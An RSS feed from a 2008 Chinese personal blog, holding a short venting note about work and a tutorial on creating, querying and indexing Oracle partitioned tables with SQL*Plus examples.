<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[阿刘のBlog]]></title>
<link>http://blog.flashtc.com/</link>
<description><![CDATA[是狼则生,是猪则死]]></description>
<language>zh-cn</language>
<copyright><![CDATA[刘秀君的Blog]]></copyright>
<webMaster><![CDATA[inlhx@163.com(阿刘)]]></webMaster>
<generator>刘秀君的Blog</generator> 
<image>
	<title>阿刘のBlog</title> 
	<url>http://blog.flashtc.com/images/logos.gif</url> 
	<link>http://blog.flashtc.com/</link> 
	<description>阿刘のBlog</description> 
</image>

			<item>
			<link>http://blog.flashtc.com/default.asp?id=201</link>
			<title><![CDATA[没什么大不了]]></title>
			<author>inlhx@163.com(阿刘)</author>
			<category><![CDATA[Note]]></category>
			<pubDate>Fri,18 Jul 2008 23:36:46 +0800</pubDate>
			<guid>http://blog.flashtc.com/default.asp?id=201</guid>	
		<description><![CDATA[世间的事情就是相反的，越要月不得，而反过去你不要它了，反而来，如果换成人们的熟话就叫“贱”<br/>哎，回头想想，他妈的发展发展的真他妈烂，我靠，搅进来了1年，纯粹浪费公司学习机会，虽然在忙碌但是还不是很充分，浪费在七七八八的事情太多太多，回想起来....<br/>几年的计划全都乱了，我靠，妈的，现在就像跟着混的人一样，以前的魄力消散得没有留下多少，无语还是无奈，是停在这里感慨人生还是继续前进，我觉得我需要重新认定一下目标方向。<br/>&nbsp;&nbsp;&nbsp;&nbsp;反正这么一段时间来，在公司犯的小错也不少，都是由于粗心，其实还不是这些事导致的粗心，没这些事时人还是非常认真，如果中了毒更好，因为如果说吸了鸦片，那么是很难戒毒，中毒吃药立即见效.<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;其实也没什么悲哀的，应该说欣喜，原因是又发现了被掩盖在灰尘下面的理想与目标，现在就算是檫去灰尘的过程，檫去才会看见未来]]></description>
		</item>
		
			<item>
			<link>http://blog.flashtc.com/default.asp?id=200</link>
			<title><![CDATA[Oracle数据库中分区表的操作方法 ]]></title>
			<author>inlhx@163.com(阿刘)</author>
			<category><![CDATA[Database]]></category>
			<pubDate>Mon,07 Jul 2008 16:44:15 +0800</pubDate>
			<guid>http://blog.flashtc.com/default.asp?id=200</guid>	
		<description><![CDATA[在大型的企业应用或企业级的数据库应用中，要处理的数据量通常可以达到几十到几百GB，有的甚至可以到TB级。虽然存储介质和数据处理技术的发展也很快，但是仍然不能满足用户的需求，为了使用户的大量的数据在读写操作和查询中速度更快，Oracle提供了对表和索引进行分区的技术，以改善大型应用系统的性能。&nbsp;&lt;BR&gt;&lt;BR&gt;　　使用分区的优点：&nbsp;&lt;BR&gt;&lt;BR&gt;　　·增强可用性：如果表的某个分区出现故障，表在其他分区的数据仍然可用；&nbsp;&lt;BR&gt;&lt;BR&gt;　　·维护方便：如果表的某个分区出现故障，需要修复数据，只修复该分区即可；&nbsp;&lt;BR&gt;&lt;BR&gt;　　·均衡I/O：可以把不同的分区映射到磁盘以平衡I/O，改善整个系统性能；&nbsp;&lt;BR&gt;&lt;BR&gt;　　·改善查询性能：对分区对象的查询可以仅搜索自己关心的分区，提高检索速度。&nbsp;&lt;BR&gt;&lt;BR&gt;　　Oracle数据库提供对表或索引的分区方法有三种：&nbsp;&lt;BR&gt;&lt;BR&gt;　　·范围分区&nbsp;&lt;BR&gt;&lt;BR&gt;　　·Hash分区（散列分区）&nbsp;&lt;BR&gt;&lt;BR&gt;　　·复合分区&nbsp;&lt;BR&gt;&lt;BR&gt;　　下面将以实例的方式分别对这三种分区方法来说明分区表的使用。为了测试方便，我们先建三个表空间。&nbsp;&lt;BR&gt;&lt;BR&gt;<br/>&lt;TABLE&nbsp;borderColor=#ffcc66&nbsp;width=&#34;90%&#34;&nbsp;align=center&nbsp;bgColor=#dadacf&nbsp;border=1&gt;<br/>&lt;TBODY&gt;<br/>&lt;TR&gt;<br/>&lt;TD&gt;cr&#101;ate&nbsp;tablespace&nbsp;dinya_space01&nbsp;&lt;BR&gt;datafile&nbsp;’/test/demo/oracle/demodata/dinya01.dnf’&nbsp;size&nbsp;50M&nbsp;&lt;BR&gt;cr&#101;ate&nbsp;tablespace&nbsp;dinya_space01&nbsp;&lt;BR&gt;datafile&nbsp;’/test/demo/oracle/demodata/dinya02.dnf’&nbsp;size&nbsp;50M&nbsp;&lt;BR&gt;cr&#101;ate&nbsp;tablespace&nbsp;dinya_space01&nbsp;&lt;BR&gt;datafile&nbsp;’/test/demo/oracle/demodata/dinya03.dnf’&nbsp;size&nbsp;50M&nbsp;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;BR&gt;　　&lt;STRONG&gt;1.1.&nbsp;分区表的创建&lt;/STRONG&gt;&nbsp;&lt;BR&gt;&lt;BR&gt;　　1.1.1.&nbsp;范围分区&nbsp;&lt;BR&gt;&lt;BR&gt;　　范围分区就是对数据表中的某个值的范围进行分区，根据某个值的范围，决定将该数据存储在哪个分区上。如根据序号分区，根据业务记录的创建日期进行分区等。&nbsp;&lt;BR&gt;&lt;BR&gt;　　需求描述：有一个物料交易表，表名：material_transactions。该表将来可能有千万级的数据记录数。要求在建该表的时候使用分区表。这时候我们可以使用序号分区三个区，每个区中预计存储三千万的数据，也可以使用日期分区，如每五年的数据存储在一个分区上。&nbsp;&lt;BR&gt;&lt;BR&gt;　　根据交易记录的序号分区建表：&nbsp;&lt;BR&gt;&lt;BR&gt;<br/>&lt;TABLE&nbsp;borderColor=#ffcc66&nbsp;width=&#34;90%&#34;&nbsp;align=center&nbsp;bgColor=#dadacf&nbsp;border=1&gt;<br/>&lt;TBODY&gt;<br/>&lt;TR&gt;<br/>&lt;TD&gt;SQL&amp;gt;&nbsp;cr&#101;ate&nbsp;table&nbsp;dinya_test&nbsp;&lt;BR&gt;2&nbsp;(&nbsp;&lt;BR&gt;3&nbsp;transaction_id&nbsp;number&nbsp;primary&nbsp;key,&nbsp;&lt;BR&gt;4&nbsp;item_id&nbsp;number(8)&nbsp;not&nbsp;null,&nbsp;&lt;BR&gt;5&nbsp;item_description&nbsp;varchar2(300),&nbsp;&lt;BR&gt;6&nbsp;transaction_date&nbsp;date&nbsp;not&nbsp;null&nbsp;&lt;BR&gt;7&nbsp;)&nbsp;&lt;BR&gt;8&nbsp;partition&nbsp;by&nbsp;range&nbsp;(transaction_id)&nbsp;&lt;BR&gt;9&nbsp;(&nbsp;&lt;BR&gt;10&nbsp;partition&nbsp;part_01&nbsp;values&nbsp;less&nbsp;than(30000000)&nbsp;tablespace&nbsp;dinya_space01,&nbsp;&lt;BR&gt;11&nbsp;partition&nbsp;part_02&nbsp;values&nbsp;less&nbsp;than(60000000)&nbsp;tablespace&nbsp;dinya_space02,&nbsp;&lt;BR&gt;12&nbsp;partition&nbsp;part_03&nbsp;values&nbsp;less&nbsp;than(maxvalue)&nbsp;tablespace&nbsp;dinya_space03&nbsp;&lt;BR&gt;13&nbsp;);&nbsp;&lt;BR&gt;Table&nbsp;cr&#101;ated.&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;BR&gt;　　　建表成功，根据交易的序号，交易ID在三千万以下的记录将存储在第一个表空间dinya_space01中，分区名为:par_01，在三千万到六千万之间的记录存储在第二个表空间：&lt;BR&gt;&lt;BR&gt;　　dinya_space02中，分区名为：par_02，而交易ID在六千万以上的记录存储在第三个表空间dinya_space03中，分区名为par_03.&nbsp;&lt;BR&gt;&lt;BR&gt;　　根据交易日期分区建表：&nbsp;&lt;BR&gt;&lt;BR&gt;<br/>&lt;TABLE&nbsp;borderColor=#ffcc66&nbsp;width=&#34;90%&#34;&nbsp;align=center&nbsp;bgColor=#dadacf&nbsp;border=1&gt;<br/>&lt;TBODY&gt;<br/>&lt;TR&gt;<br/>&lt;TD&gt;SQL&amp;gt;&nbsp;cr&#101;ate&nbsp;table&nbsp;dinya_test&nbsp;&lt;BR&gt;2&nbsp;(&nbsp;&lt;BR&gt;3&nbsp;transaction_id&nbsp;number&nbsp;primary&nbsp;key,&nbsp;&lt;BR&gt;4&nbsp;item_id&nbsp;number(8)&nbsp;not&nbsp;null,&nbsp;&lt;BR&gt;&lt;BR&gt;5&nbsp;item_description&nbsp;varchar2(300),&nbsp;&lt;BR&gt;6&nbsp;transaction_date&nbsp;date&nbsp;not&nbsp;null&nbsp;&lt;BR&gt;7&nbsp;)&nbsp;&lt;BR&gt;8&nbsp;partition&nbsp;by&nbsp;range&nbsp;(transaction_date)&nbsp;&lt;BR&gt;9&nbsp;(&nbsp;&lt;BR&gt;10&nbsp;partition&nbsp;part_01&nbsp;values&nbsp;less&nbsp;than(to_date(’2006-01-01’,’yyyy-mm-dd’))&nbsp;&lt;BR&gt;tablespace&nbsp;dinya_space01,&nbsp;&lt;BR&gt;11&nbsp;partition&nbsp;part_02&nbsp;values&nbsp;less&nbsp;than(to_date(’2010-01-01’,’yyyy-mm-dd’))&nbsp;&lt;BR&gt;tablespace&nbsp;dinya_space02,&nbsp;&lt;BR&gt;12&nbsp;partition&nbsp;part_03&nbsp;values&nbsp;less&nbsp;than(maxvalue)&nbsp;tablespace&nbsp;dinya_space03&nbsp;&lt;BR&gt;13&nbsp;);&nbsp;&lt;BR&gt;Table&nbsp;cr&#101;ated.&nbsp;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;BR&gt;　　这样我们就分别建了以交易序号和交易日期来分区的分区表。每次插入数据的时候，系统将根据指定的字段的值来自动将记录存储到制定的分区（表空间）中。&nbsp;&lt;BR&gt;&lt;BR&gt;　　当然，我们还可以根据需求，使用两个字段的范围分布来分区，如partition&nbsp;by&nbsp;range&nbsp;(&nbsp;transaction_id&nbsp;,transaction_date),&nbsp;分区条件中的值也做相应的改变，请读者自行测试。&nbsp;&lt;BR&gt;&lt;BR&gt;　　1.1.2.&nbsp;Hash分区（散列分区）&nbsp;&lt;BR&gt;&lt;BR&gt;　　散列分区为通过指定分区编号来均匀分布数据的一种分区类型，因为通过在I/O设备上进行散列分区，使得这些分区大小一致。如将物料交易表的数据根据交易ID散列地存放在指定的三个表空间中：&nbsp;&lt;BR&gt;&lt;BR&gt;<br/>&lt;TABLE&nbsp;borderColor=#ffcc66&nbsp;width=&#34;90%&#34;&nbsp;align=center&nbsp;bgColor=#dadacf&nbsp;border=1&gt;<br/>&lt;TBODY&gt;<br/>&lt;TR&gt;<br/>&lt;TD&gt;SQL&amp;gt;&nbsp;cr&#101;ate&nbsp;table&nbsp;dinya_test&nbsp;&lt;BR&gt;2&nbsp;(&nbsp;&lt;BR&gt;3&nbsp;transaction_id&nbsp;number&nbsp;primary&nbsp;key,&nbsp;&lt;BR&gt;4&nbsp;item_id&nbsp;number(8)&nbsp;not&nbsp;null,&nbsp;&lt;BR&gt;5&nbsp;item_description&nbsp;varchar2(300),&nbsp;&lt;BR&gt;6&nbsp;transaction_date&nbsp;date&nbsp;&lt;BR&gt;7&nbsp;)&nbsp;&lt;BR&gt;8&nbsp;partition&nbsp;by&nbsp;hash(transaction_id)&nbsp;&lt;BR&gt;9&nbsp;(&nbsp;&lt;BR&gt;10&nbsp;partition&nbsp;part_01&nbsp;tablespace&nbsp;dinya_space01,&nbsp;&lt;BR&gt;11&nbsp;partition&nbsp;part_02&nbsp;tablespace&nbsp;dinya_space02,&nbsp;&lt;BR&gt;12&nbsp;partition&nbsp;part_03&nbsp;tablespace&nbsp;dinya_space03&nbsp;&lt;BR&gt;13&nbsp;);&nbsp;&lt;BR&gt;Table&nbsp;cr&#101;ated.&nbsp;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;BR&gt;　　建表成功，此时插入数据，系统将按transaction_id将记录散列地插入三个分区中，这里也就是三个不同的表空间中。&nbsp;&lt;BR&gt;&lt;BR&gt;　　1.1.3.&nbsp;复合分区&nbsp;&lt;BR&gt;&lt;BR&gt;　　有时候我们需要根据范围分区后，每个分区内的数据再散列地分布在几个表空间中，这样我们就要使用复合分区。复合分区是先使用范围分区，然后在每个分区内再使用散列分区的一种分区方法，如将物料交易的记录按时间分区，然后每个分区中的数据分三个子分区，将数据散列地存储在三个指定的表空间中：&nbsp;&lt;BR&gt;&lt;BR&gt;<br/>&lt;TABLE&nbsp;borderColor=#ffcc66&nbsp;width=&#34;90%&#34;&nbsp;align=center&nbsp;bgColor=#dadacf&nbsp;border=1&gt;<br/>&lt;TBODY&gt;<br/>&lt;TR&gt;<br/>&lt;TD&gt;SQL&amp;gt;&nbsp;cr&#101;ate&nbsp;table&nbsp;dinya_test&nbsp;&lt;BR&gt;2&nbsp;(&nbsp;&lt;BR&gt;3&nbsp;transaction_id&nbsp;number&nbsp;primary&nbsp;key,&nbsp;&lt;BR&gt;4&nbsp;item_id&nbsp;number(8)&nbsp;not&nbsp;null,&nbsp;&lt;BR&gt;5&nbsp;item_description&nbsp;varchar2(300),&nbsp;&lt;BR&gt;6&nbsp;transaction_date&nbsp;date&nbsp;&lt;BR&gt;7&nbsp;)&nbsp;&lt;BR&gt;8&nbsp;partition&nbsp;by&nbsp;range(transaction_date)subpartition&nbsp;by&nbsp;hash(transaction_id)&nbsp;&lt;BR&gt;9&nbsp;subpartitions&nbsp;3&nbsp;store&nbsp;in&nbsp;(dinya_space01,dinya_space02,dinya_space03)&nbsp;&lt;BR&gt;10&nbsp;(&nbsp;&lt;BR&gt;11&nbsp;partition&nbsp;part_01&nbsp;values&nbsp;less&nbsp;than(to_date(’2006-01-01’,’yyyy-mm-dd’)),&nbsp;&lt;BR&gt;12&nbsp;partition&nbsp;part_02&nbsp;values&nbsp;less&nbsp;than(to_date(’2010-01-01’,’yyyy-mm-dd’)),&nbsp;&lt;BR&gt;13&nbsp;partition&nbsp;part_03&nbsp;values&nbsp;less&nbsp;than(maxvalue)&nbsp;&lt;BR&gt;14&nbsp;);&nbsp;&lt;BR&gt;Table&nbsp;cr&#101;ated.&nbsp;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;<br/>&lt;P&gt;&lt;BR&gt;　　该例中，先是根据交易日期进行范围分区，然后根据交易的ID将记录散列地存储在三个表空间中。&lt;/P&gt;<br/>&lt;P&gt;&lt;STRONG&gt;1.2.&nbsp;分区表操作&lt;/STRONG&gt;&nbsp;&lt;BR&gt;&lt;BR&gt;　　以上了解了三种分区表的建表方法，下面将使用实际的数据并针对按日期的范围分区来测试分区表的数据记录的操作。&nbsp;&lt;BR&gt;&lt;BR&gt;　　1.2.1.&nbsp;插入记录：&nbsp;&lt;BR&gt;&lt;BR&gt;<br/>&lt;TABLE&nbsp;borderColor=#ffcc66&nbsp;width=&#34;90%&#34;&nbsp;align=center&nbsp;bgColor=#dadacf&nbsp;border=1&gt;<br/>&lt;TBODY&gt;<br/>&lt;TR&gt;<br/>&lt;TD&gt;SQL&amp;gt;&nbsp;ins&#101;rt&nbsp;into&nbsp;dinya_test&nbsp;values(1,12,’BOOKS’,sysdate);&nbsp;&lt;BR&gt;1&nbsp;row&nbsp;cr&#101;ated.&nbsp;&lt;BR&gt;SQL&amp;gt;&nbsp;ins&#101;rt&nbsp;into&nbsp;dinya_test&nbsp;values(2,12,&nbsp;’BOOKS’,sysdate+30);&nbsp;&lt;BR&gt;1&nbsp;row&nbsp;cr&#101;ated.&nbsp;&lt;BR&gt;&lt;BR&gt;SQL&amp;gt;&nbsp;ins&#101;rt&nbsp;into&nbsp;dinya_test&nbsp;values(3,12,&nbsp;’BOOKS’,to_date(’2006-05-30’,’yyyy-mm-dd’));&nbsp;&lt;BR&gt;1&nbsp;row&nbsp;cr&#101;ated.&nbsp;&lt;BR&gt;SQL&amp;gt;&nbsp;ins&#101;rt&nbsp;into&nbsp;dinya_test&nbsp;values(4,12,&nbsp;’BOOKS’,to_date(’2007-06-23’,’yyyy-mm-dd’));&nbsp;&lt;BR&gt;1&nbsp;row&nbsp;cr&#101;ated.&nbsp;&lt;BR&gt;SQL&amp;gt;&nbsp;ins&#101;rt&nbsp;into&nbsp;dinya_test&nbsp;values(5,12,&nbsp;’BOOKS’,to_date(’2011-02-26’,’yyyy-mm-dd’));&nbsp;&lt;BR&gt;1&nbsp;row&nbsp;cr&#101;ated.&nbsp;&lt;BR&gt;SQL&amp;gt;&nbsp;ins&#101;rt&nbsp;into&nbsp;dinya_test&nbsp;values(6,12,&nbsp;’BOOKS’,to_date(’2011-04-30’,’yyyy-mm-dd’));&nbsp;&lt;BR&gt;1&nbsp;row&nbsp;cr&#101;ated.&nbsp;&lt;BR&gt;SQL&amp;gt;&nbsp;commit;&nbsp;&lt;BR&gt;Commit&nbsp;complete.&nbsp;&lt;BR&gt;SQL&amp;gt;&nbsp;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;BR&gt;　　按上面的建表结果，2006年前的数据将存储在第一个分区part_01上，而2006年到2010年的交易数据将存储在第二个分区part_02上，2010年以后的记录存储在第三个分区part_03上。&nbsp;&lt;BR&gt;&lt;BR&gt;　　1.2.2.&nbsp;查询分区表记录：&nbsp;&lt;BR&gt;&lt;BR&gt;<br/>&lt;TABLE&nbsp;borderColor=#ffcc66&nbsp;width=&#34;90%&#34;&nbsp;align=center&nbsp;bgColor=#dadacf&nbsp;border=1&gt;<br/>&lt;TBODY&gt;<br/>&lt;TR&gt;<br/>&lt;TD&gt;SQL&amp;gt;&nbsp;sel&#101;ct&nbsp;*&nbsp;from&nbsp;dinya_test&nbsp;partition(part_01);&nbsp;&lt;BR&gt;TRANSACTION_ID&nbsp;ITEM_ID&nbsp;ITEM_DESCRIPTION&nbsp;TRANSACTION_DATE&nbsp;&lt;BR&gt;--------------------------------------------------------------------------------&nbsp;&lt;BR&gt;1&nbsp;12&nbsp;BOOKS&nbsp;2005-1-14&nbsp;14:19:&nbsp;&lt;BR&gt;2&nbsp;12&nbsp;BOOKS&nbsp;2005-2-13&nbsp;14:19:&nbsp;&lt;BR&gt;SQL&amp;gt;&nbsp;&lt;BR&gt;SQL&amp;gt;&nbsp;sel&#101;ct&nbsp;*&nbsp;from&nbsp;dinya_test&nbsp;partition(part_02);&nbsp;&lt;BR&gt;TRANSACTION_ID&nbsp;ITEM_ID&nbsp;ITEM_DESCRIPTION&nbsp;TRANSACTION_DATE&nbsp;&lt;BR&gt;--------------------------------------------------------------------------------&nbsp;&lt;BR&gt;3&nbsp;12&nbsp;BOOKS&nbsp;2006-5-30&nbsp;&lt;BR&gt;4&nbsp;12&nbsp;BOOKS&nbsp;2007-6-23&nbsp;&lt;BR&gt;SQL&amp;gt;&nbsp;&lt;BR&gt;SQL&amp;gt;&nbsp;sel&#101;ct&nbsp;*&nbsp;from&nbsp;dinya_test&nbsp;partition(part_03);&nbsp;&lt;BR&gt;TRANSACTION_ID&nbsp;ITEM_ID&nbsp;ITEM_DESCRIPTION&nbsp;TRANSACTION_DATE&nbsp;&lt;BR&gt;--------------------------------------------------------------------------------&nbsp;&lt;BR&gt;5&nbsp;12&nbsp;BOOKS&nbsp;2011-2-26&nbsp;&lt;BR&gt;6&nbsp;12&nbsp;BOOKS&nbsp;2011-4-30&nbsp;&lt;BR&gt;SQL&amp;gt;&nbsp;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;BR&gt;　　从查询的结果可以看出，插入的数据已经根据交易时间范围存储在不同的分区中。这里是指定了分区的查询，当然也可以不指定分区，直接执行sel&#101;ct&nbsp;*&nbsp;from&nbsp;dinya_test查询全部记录。&lt;BR&gt;&lt;BR&gt;　　在也检索的数据量很大的时候，指定分区会大大提高检索速度。&nbsp;&lt;BR&gt;&lt;BR&gt;　　1.2.3.&nbsp;更新分区表的记录：&nbsp;&lt;BR&gt;&lt;BR&gt;<br/>&lt;TABLE&nbsp;borderColor=#ffcc66&nbsp;width=&#34;90%&#34;&nbsp;align=center&nbsp;bgColor=#dadacf&nbsp;border=1&gt;<br/>&lt;TBODY&gt;<br/>&lt;TR&gt;<br/>&lt;TD&gt;SQL&amp;gt;&nbsp;up&#100;ate&nbsp;dinya_test&nbsp;partition(part_01)&nbsp;t&nbsp;set&nbsp;t.item_description=’DESK’&nbsp;wh&#101;re&nbsp;&lt;BR&gt;t.transaction_id=1;&nbsp;&lt;BR&gt;1&nbsp;row&nbsp;up&#100;ated.&nbsp;&lt;BR&gt;SQL&amp;gt;&nbsp;commit;&nbsp;&lt;BR&gt;Commit&nbsp;complete.&nbsp;&lt;BR&gt;SQL&amp;gt;&nbsp;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;BR&gt;　　这里将第一个分区中的交易ID=1的记录中的item_description字段更新为“DESK”，可以看到已经成功更新了一条记录。但是当更新的时候指定了分区，而根据查询的记录不在该分区中时，将不会更新数据，请看下面的例子：&nbsp;&lt;BR&gt;&lt;BR&gt;<br/>&lt;TABLE&nbsp;borderColor=#ffcc66&nbsp;width=&#34;90%&#34;&nbsp;align=center&nbsp;bgColor=#dadacf&nbsp;border=1&gt;<br/>&lt;TBODY&gt;<br/>&lt;TR&gt;<br/>&lt;TD&gt;SQL&amp;gt;&nbsp;up&#100;ate&nbsp;dinya_test&nbsp;partition(part_01)&nbsp;t&nbsp;set&nbsp;t.item_description=’DESK’&nbsp;wh&#101;re&nbsp;&lt;BR&gt;t.transaction_id=6;&nbsp;&lt;BR&gt;0&nbsp;rows&nbsp;up&#100;ated.&nbsp;&lt;BR&gt;SQL&amp;gt;&nbsp;commit;&nbsp;&lt;BR&gt;Commit&nbsp;complete.&nbsp;&lt;BR&gt;SQL&amp;gt;&nbsp;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;BR&gt;　　指定了在第一个分区中更新记录，但是条件中限制交易ID为6，而查询全表，交易ID为6的记录在第三个分区中，这样该条语句将不会更新记录。&nbsp;&lt;BR&gt;&lt;BR&gt;　　1.2.4.&nbsp;删除分区表记录：&nbsp;&lt;BR&gt;&lt;BR&gt;<br/>&lt;TABLE&nbsp;borderColor=#ffcc66&nbsp;width=&#34;90%&#34;&nbsp;align=center&nbsp;bgColor=#dadacf&nbsp;border=1&gt;<br/>&lt;TBODY&gt;<br/>&lt;TR&gt;<br/>&lt;TD&gt;SQL&amp;gt;&nbsp;del&#101;te&nbsp;from&nbsp;dinya_test&nbsp;partition(part_02)&nbsp;t&nbsp;wh&#101;re&nbsp;t.transaction_id=4;&nbsp;&lt;BR&gt;1&nbsp;row&nbsp;del&#101;ted.&nbsp;&lt;BR&gt;SQL&amp;gt;&nbsp;commit;&nbsp;&lt;BR&gt;Commit&nbsp;complete.&nbsp;&lt;BR&gt;SQL&amp;gt;&nbsp;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;BR&gt;　　上面例子删除了第二个分区part_02中的交易记录ID为4的一条记录，和更新数据相同，如果指定了分区，而条件中的数据又不在该分区中时，将不会删除任何数据。&nbsp;&lt;BR&gt;&lt;BR&gt;　　&lt;STRONG&gt;1.3.&nbsp;分区表索引的使用：&lt;/STRONG&gt;&nbsp;&lt;BR&gt;&lt;BR&gt;　　分区表和一般表一样可以建立索引，分区表可以创建局部索引和全局索引。当分区中出现许多事务并且要保证所有分区中的数据记录的唯一性时采用全局索引。&nbsp;&lt;BR&gt;&lt;BR&gt;　　1.3.1.&nbsp;局部索引分区的建立：&nbsp;&lt;BR&gt;&lt;BR&gt;<br/>&lt;TABLE&nbsp;borderColor=#ffcc66&nbsp;width=&#34;90%&#34;&nbsp;align=center&nbsp;bgColor=#dadacf&nbsp;border=1&gt;<br/>&lt;TBODY&gt;<br/>&lt;TR&gt;<br/>&lt;TD&gt;SQL&amp;gt;&nbsp;cr&#101;ate&nbsp;index&nbsp;dinya_idx_t&nbsp;on&nbsp;dinya_test(item_id)&nbsp;&lt;BR&gt;2&nbsp;local&nbsp;&lt;BR&gt;3&nbsp;(&nbsp;&lt;BR&gt;4&nbsp;partition&nbsp;idx_1&nbsp;tablespace&nbsp;dinya_space01,&nbsp;&lt;BR&gt;5&nbsp;partition&nbsp;idx_2&nbsp;tablespace&nbsp;dinya_space02,&nbsp;&lt;BR&gt;6&nbsp;partition&nbsp;idx_3&nbsp;tablespace&nbsp;dinya_space03&nbsp;&lt;BR&gt;7&nbsp;);&nbsp;&lt;BR&gt;Index&nbsp;cr&#101;ated.&nbsp;&lt;BR&gt;SQL&amp;gt;&nbsp;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;BR&gt;　　看查询的执行计划，从下面的执行计划可以看出，系统已经使用了索引：&nbsp;&lt;BR&gt;&lt;BR&gt;<br/>&lt;TABLE&nbsp;borderColor=#ffcc66&nbsp;width=&#34;90%&#34;&nbsp;align=center&nbsp;bgColor=#dadacf&nbsp;border=1&gt;<br/>&lt;TBODY&gt;<br/>&lt;TR&gt;<br/>&lt;TD&gt;SQL&amp;gt;&nbsp;sel&#101;ct&nbsp;*&nbsp;from&nbsp;dinya_test&nbsp;partition(part_01)&nbsp;t&nbsp;wh&#101;re&nbsp;t.item_id=12;&nbsp;&lt;BR&gt;Execution&nbsp;Plan&nbsp;&lt;BR&gt;----------------------------------------------------------&nbsp;&lt;BR&gt;0&nbsp;Sel&#101;ct&nbsp;STATEMENT&nbsp;Optimizer=CHOOSE&nbsp;(Cost=2&nbsp;Card=1&nbsp;Bytes=187)&nbsp;&lt;BR&gt;1&nbsp;0&nbsp;TABLE&nbsp;ACCESS&nbsp;(BY&nbsp;LOCAL&nbsp;INDEX&nbsp;ROWID)&nbsp;OF&nbsp;’DINYA_TEST’&nbsp;(Cost=&nbsp;&lt;BR&gt;2&nbsp;Card=1&nbsp;Bytes=187)&nbsp;&lt;BR&gt;2&nbsp;1&nbsp;INDEX&nbsp;(RANGE&nbsp;SCAN)&nbsp;OF&nbsp;’DINYA_IDX_T’&nbsp;(NON-UNIQUE)&nbsp;(Cost=1&nbsp;&lt;BR&gt;Card=1)&nbsp;&lt;BR&gt;Statistics&nbsp;&lt;BR&gt;----------------------------------------------------------&nbsp;&lt;BR&gt;0&nbsp;recursive&nbsp;calls&nbsp;&lt;BR&gt;0&nbsp;db&nbsp;block&nbsp;gets&nbsp;&lt;BR&gt;4&nbsp;consistent&nbsp;gets&nbsp;&lt;BR&gt;0&nbsp;physical&nbsp;reads&nbsp;&lt;BR&gt;0&nbsp;redo&nbsp;size&nbsp;&lt;BR&gt;334&nbsp;bytes&nbsp;sent&nbsp;via&nbsp;SQL*Net&nbsp;to&nbsp;client&nbsp;&lt;BR&gt;309&nbsp;bytes&nbsp;received&nbsp;via&nbsp;SQL*Net&nbsp;from&nbsp;client&nbsp;&lt;BR&gt;2&nbsp;SQL*Net&nbsp;roundtrips&nbsp;to/from&nbsp;client&nbsp;&lt;BR&gt;&lt;BR&gt;1&nbsp;sorts&nbsp;(memory)&nbsp;&lt;BR&gt;0&nbsp;sorts&nbsp;(disk)&nbsp;&lt;BR&gt;2&nbsp;rows&nbsp;processed&nbsp;&lt;BR&gt;SQL&amp;gt;&nbsp;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;BR&gt;　　1.3.2.&nbsp;全局索引分区的建立&lt;BR&gt;&lt;BR&gt;　　全局索引建立时global&nbsp;子句允许指定索引的范围值，这个范围值为索引字段的范围值：&nbsp;&lt;BR&gt;&lt;BR&gt;<br/>&lt;TABLE&nbsp;borderColor=#ffcc66&nbsp;width=&#34;90%&#34;&nbsp;align=center&nbsp;bgColor=#dadacf&nbsp;border=1&gt;<br/>&lt;TBODY&gt;<br/>&lt;TR&gt;<br/>&lt;TD&gt;SQL&amp;gt;&nbsp;cr&#101;ate&nbsp;index&nbsp;dinya_idx_t&nbsp;on&nbsp;dinya_test(item_id)&nbsp;&lt;BR&gt;2&nbsp;global&nbsp;partition&nbsp;by&nbsp;range(item_id)&nbsp;&lt;BR&gt;3&nbsp;(&nbsp;&lt;BR&gt;4&nbsp;partition&nbsp;idx_1&nbsp;values&nbsp;less&nbsp;than&nbsp;(1000)&nbsp;tablespace&nbsp;dinya_space01,&nbsp;&lt;BR&gt;5&nbsp;partition&nbsp;idx_2&nbsp;values&nbsp;less&nbsp;than&nbsp;(10000)&nbsp;tablespace&nbsp;dinya_space02,&nbsp;&lt;BR&gt;6&nbsp;partition&nbsp;idx_3&nbsp;values&nbsp;less&nbsp;than&nbsp;(maxvalue)&nbsp;tablespace&nbsp;dinya_space03&nbsp;&lt;BR&gt;7&nbsp;);&nbsp;&lt;BR&gt;Index&nbsp;cr&#101;ated.&nbsp;&lt;BR&gt;SQL&amp;gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;BR&gt;　　本例中对表的item_id字段建立索引分区，当然也可以不指定索引分区名直接对整个表建立索引，如：&nbsp;&lt;BR&gt;&lt;BR&gt;<br/>&lt;TABLE&nbsp;borderColor=#ffcc66&nbsp;width=&#34;90%&#34;&nbsp;align=center&nbsp;bgColor=#dadacf&nbsp;border=1&gt;<br/>&lt;TBODY&gt;<br/>&lt;TR&gt;<br/>&lt;TD&gt;SQL&amp;gt;&nbsp;cr&#101;ate&nbsp;index&nbsp;dinya_idx_t&nbsp;on&nbsp;dinya_test(item_id);&nbsp;&lt;BR&gt;Index&nbsp;cr&#101;ated.&nbsp;&lt;BR&gt;SQL&amp;gt;&nbsp;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;BR&gt;　　